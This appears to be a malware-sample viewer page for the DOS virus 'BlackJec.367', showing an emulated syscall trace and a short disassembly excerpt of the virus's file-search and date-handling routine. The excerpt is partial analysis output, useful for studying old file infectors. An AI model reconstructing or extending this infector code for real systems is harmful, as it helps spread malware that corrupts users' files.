Sample viewer

vx.netlux.org/Virus.DOS.BlackJec.367

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:18:57.666733077Z 42 PC: 12b7a | Get date 0x12b7a: mov word ptr [0xf2], dx
0x12b7e: mov word ptr [0xf4], cx
0x12b82: stc
0x12b83: mov dx, 0x266
0x12b86: mov ah, 0x4e
0x12b88: mov cx, 0x20
0x12b8b: int 0x21
0x12b8d: or ax, ax
0x12b8f: je 0x12b94
0x12b91: jmp 0x12c68
0x12b94: mov ah, 0x2f
0x12b96: int 0x21
0x12b98: mov ax, word ptr es:[bx + 0x1a]
0x12b9c: mov word ptr [0xfc], ax
0x12b9f: add bx, 0x1e
0x12ba2: mov word ptr [0xfe], bx
0x12ba6: mov ax, 0x4f43
0x12ba9: sub ax, word ptr [0x9e]
0x12bad: jne 0x12bb2
0x12baf: jmp 0x12c5c
2018-12-17T22:18:57.669392425Z 78 PC: 12b8d | Find first file
2018-12-17T22:18:57.67394935Z 43 PC: 12c74 | Set date